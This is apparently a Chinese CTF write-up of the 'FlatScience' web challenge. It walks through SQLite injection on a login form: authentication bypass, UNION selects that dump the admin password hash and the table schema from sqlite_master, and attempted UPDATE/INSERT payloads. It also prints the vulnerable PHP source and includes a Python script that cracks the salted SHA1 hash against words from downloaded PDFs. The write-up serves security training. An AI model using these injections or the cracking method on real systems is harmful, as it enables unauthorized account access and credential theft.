FlatScience

  • 题目描述

    啥描述也没有

  • 解题过程

    • 页面有好多链接,除了论文pdf之外,还有子目录下的index.html

      比如:/1/index.html/1/3/index.html

    • 扫了下,有/admin.php,/login.phprobots.txt(里面也是这俩页面)

    • /login.php页面,id加引号有报错,是SQLite3

      ' or 2=2 --直接登录上了,进来是最开始的那个/index.html

      登陆成功会跳转,没有回显,猜测可以进行布尔/延时盲注,以前好像没做过sqlite的注入题,好多关键字和函数都用不了,找的一些payload也用不了,丢给sqlmap跑了一下,可以延时盲注,但这个盲注太慢了(一直出错)

    • 去看了/admin.php,大概是/login.php的加强版,没法注入

    • 到这块思路有点断,只能等比蜗牛还慢的sqlmap跑点东西出来

    • 等结果的时候看了下源码,发现有测试参数

      访问?debug,返回了源码(下面是php部分)

      <?php
      if(isset($_POST['usr']) && isset($_POST['pw'])){
      $user = $_POST['usr'];
      $pass = $_POST['pw']; $db = new SQLite3('../fancy.db'); $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
      if($res){
      $row = $res->fetchArray();
      }
      else{
      echo "<br>Some Error occourred!";
      } if(isset($row['id'])){
      setcookie('name',' '.$row['name'], time() + 60, '/');
      header("Location: /");
      die();
      } } if(isset($_GET['debug']))
      highlight_file('login.php');
      ?>

      因为/admin.php页面给了用户名是admin,这里看看能不能注处对应的密码

      注意到:

      • user参数对应输入框ID
      • name参数会被写到cookie

      所以可以union select用admin的密码代替name

      ' union select id,password from Users where name='admin' --

      拿到密码是+3fab54a50e770d830c0416df817567662a9dc85c, = =忘了还有sha1

      刚好sqlmap也跑完了,发现只有一个Users

    • 猜测是要用admin账号在/admin.php登录,所以需要拿到密码

      有两个思路

      • 一个是跑出密码

      • 一个是覆盖之前的密码

        INSERT INTO Users(id, name, password) VALUES(999, 'test', '7c4a8d09ca3762af61e59520943dc26494f8941b')发现insert不可用

      • 用上边查密码的方法查了下admin的id=1,

        update Users set password='7c4a8d09ca3762af61e59520943dc26494f8941b' where id=1发现update不可用

    • 到这基本没思路了,跑密码也不能硬跑啊。。。

    • 看wp

      • 确实是队sqlite的了解太少了,这里用到了sqlite自带的结构表sqlite_master

        ' union select name,sql from sqlite_master --+

        得到

        CREATE TABLE Users(
        id int primary key,
        name varchar(255),
        password varchar(255),
        hint varchar(255)
        )
      • 把这几个字段都扒下来

        ' union select id,group_concat(xxx) from Users --+

        name password hint
        admin 3fab54a50e770d830c0416df817567662a9dc85c my fav word in my fav paper?!,
        fritze 54eae8935c90f467427f05e4ece82cf569f89507 my love is … ?
        hans 34b0bb7c304949f9ff2fc101eef0f048be10d3bd the password is password
      • 看hint的意思,密码是paper里的一个单词

        回过头去看这些paper的链接,没啥不同的,都下载下来吧

      • 贴个处理pdf的代码,偷懒copy了一份,然后调好了bug(python3)

        from pdfminer.pdfparser import PDFParser
        from pdfminer.pdfdocument import PDFDocument
        from pdfminer.pdfpage import PDFPage
        from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
        from pdfminer.converter import PDFPageAggregator
        from pdfminer.layout import LTTextBoxHorizontal, LAParams
        import logging
        import hashlib
        import re
        import os def pdf_2_txt(start, end):
        pdf_filename = start
        txt_filename = end
        # 不显示warning
        logging.propagate = False
        logging.getLogger().setLevel(logging.ERROR)
        device = PDFPageAggregator(PDFResourceManager(), laparams=LAParams())
        interpreter = PDFPageInterpreter(PDFResourceManager(), device)
        parser = PDFParser(open(pdf_filename, 'rb'))
        doc = PDFDocument(parser)
        parser.set_document(doc)
        # 检测文档是否提供txt转换,不提供就忽略
        if not doc.is_extractable:
        pass
        else:
        with open(txt_filename, 'w+', encoding="utf-8") as fw:
        print("num page:{}".format(len(list(PDFPage.create_pages(doc)))))
        for page in PDFPage.create_pages(doc):
        interpreter.process_page(page)
        layout = device.get_result()
        for x in layout:
        if isinstance(x, LTTextBoxHorizontal):
        results = x.get_text()
        fw.write(results) def get_pwd():
        for a in range(1, 31):
        f = open(filePath + '\\txt\\' + str(a) + ".txt", "r", encoding='UTF-8').read()
        wordlist = re.split(" |\n", f) for s in wordlist:
        y = s + "Salz!"
        encode = hashlib.sha1(y.encode('utf-8')).hexdigest()
        if encode == "3fab54a50e770d830c0416df817567662a9dc85c":
        print("password is :" + s)
        break if __name__ == '__main__':
        filePath = '' # 绝对路径
        lists = os.listdir(filePath) for i in range(1, 31):
        x = filePath + '\\' + lists[i - 1]
        pdf_2_txt(x, filePath + '\\txt\\' + str(i) + '.txt') # 在目录下创建一个txt文件夹
  • 参考

    https://blog.csdn.net/qq_42967398/article/details/103480502

    https://www.e-learn.cn/topic/2155194

    https://www.cnblogs.com/xiaozi/p/5760321.html

XCTF-FlatScience的更多相关文章

  1. 攻防世界(XCTF)WEB(进阶区)write up(三)

    挑着做一些好玩的ctf题 FlatScience web2 unserialize3upload1wtf.sh-150ics-04web i-got-id-200 FlatScience 扫出来的lo ...

  2. 攻防世界(XCTF)WEB(进阶区)write up(四)

    ics-07  Web_php_include  Zhuanxv Web_python_template_injection ics-07 题前半部分是php弱类型 这段说当传入的id值浮点值不能为1 ...

  3. 攻防世界(XCTF)WEB(进阶区)write up(一)

      cat ics-05 ics-06 lottery Cat XCTF 4th-WHCTF-2017 输入域名  输入普通域名无果  输入127.0.0.1返回了ping码的结果 有可能是命令执行 ...

  4. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  5. xctf进阶-unserialize3反序列化

    一道反序列化题: 打开后给出了一个php类,我们可以控制code值: `unserialize()` 会检查是否存在一个 `__wakeup()` 方法.如果存在,则会先调用 `__wakeup` 方 ...

  6. 日常破解--从XCTF的app3题目简单了解安卓备份文件以及sqliteCipher加密数据库

    一.题目来源     题目来源:XCTF app3题目 二.解题过程     1.下载好题目,下载完后发现是.ab后缀名的文件,如下图所示:     2.什么是.ab文件?.ab后缀名的文件是Andr ...

  7. 日常破解--XCTF easy_apk

    一.题目来源     来源:XCTF社区安卓题目easy_apk 二.破解思路     1.首先运行一下给的apk,发现就一个输入框和一个按钮,随便点击一下,发现弹出Toast验证失败.如下图所示: ...

  8. XCTF练习题-WEB-webshell

    XCTF练习题-WEB-webshell 解题步骤: 1.观察题目,打开场景 2.根据题目提示,这道题很有可能是获取webshell,再看描述,一句话,基本确认了,观察一下页面,一句话内容,密码为sh ...

  9. 【Hack.lu-2017】FlatScience

    信息: 题目来源:Hack.lu-2017 标签:SQL注入.源码泄露 解题过程 题目页面有多层,存在许多pdf文件,首先进行目录扫描: [TIME] => 2020-07-07 16:08:5 ...

  10. 【XCTF】ics-04

    信息: 题目来源:XCTF 4th-CyberEarth 标签:PHP.SQL注入 题目描述:工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag 解题过程 进入注册页面,尝试注册: 进行登录 ...

随机推荐

  1. BurpSuite 一些小技巧

    拦截请求 设置不拦截下面的网站(记得保存项目,不然每次都要添加) .*\.?baidu.com|.*\.?google.com|.*\.?bcebos.com|.*\.?bdstatic.com|.* ...

  2. SQL练习——LeetCode解题和总结(1)

    只用于个人的学习和总结. 178. Rank Scores 一.表信息 二.题目信息 对上表中的成绩由高到低排序,并列出排名.当两个人获得相同分数时,取并列名次,且名词中无断档. Write a SQ ...

  3. 绿色物流-智慧仓储监控管理 3D 可视化系统

    前言 随着电子商务产业的迅速发展,快递爆仓已成为了困扰仓储物流的一大难题.大量的碎片化订单,传统仓储管理和运作方式已无法满足,加速仓储物流管理的智能化.自动化升级创新,延伸而出的智慧物流概念成为物流行 ...

  4. Java并发编程之基础理论

    内存模型   主内存.工作内存与Java堆.栈.方法区并不是同一个层次的内存划分 勉强对应起来 从定义来看,主内存对应Java堆中对象实例数据部分,工作内存对应虚拟机栈中部分区域 从更低层次来说,主内 ...

  5. Docker上安装Redis

    Docker可以很方便的进行服务部署和管理,下面我们通过docker来搭建Redis的单机模式.Redis主从复制.Redis哨兵模式.Redis-Cluster模式 一.在Docker上安装单机版R ...

  6. springboot源码解析-管中窥豹系列之bean如何生成?(十四)

    一.前言 Springboot源码解析是一件大工程,逐行逐句的去研究代码,会很枯燥,也不容易坚持下去. 我们不追求大而全,而是试着每次去研究一个小知识点,最终聚沙成塔,这就是我们的springboot ...

  7. java例题_03 水仙花数

    1 /*3 [程序 3 水仙花数] 2 题目:打印出所有的"水仙花数",所谓"水仙花数"是指一个三位数,其各位数字立方和等于该数本身. 3 例如:153 是一个 ...

  8. Java进阶专题(二十八) Service Mesh初体验

    前言 ​ ⽬前,微服务的架构⽅式在企业中得到了极⼤的发展,主要原因是其解决了传统的单体架构中存在的问题.当单体架构拆分成微服务架构就可以⾼枕⽆忧了吗? 显然不是的.微服务架构体系中同样也存在很多的挑战 ...

  9. 极速精简 Go 版 Logstash

    前言 今天来介绍 go-zero 生态的另一个组件 go-stash.这是一个 logstash 的 Go 语言替代版,我们用 go-stash 相比原先的 logstash 节省了2/3的服务器资源 ...

  10. Shell:如何遍历包含空格的文本

    Blog:博客园 个人 翻译自Looping Through a File that Contains Spaces – Bash for Loop 处理包含空格或特殊字符的文件是每个使用Linux的 ...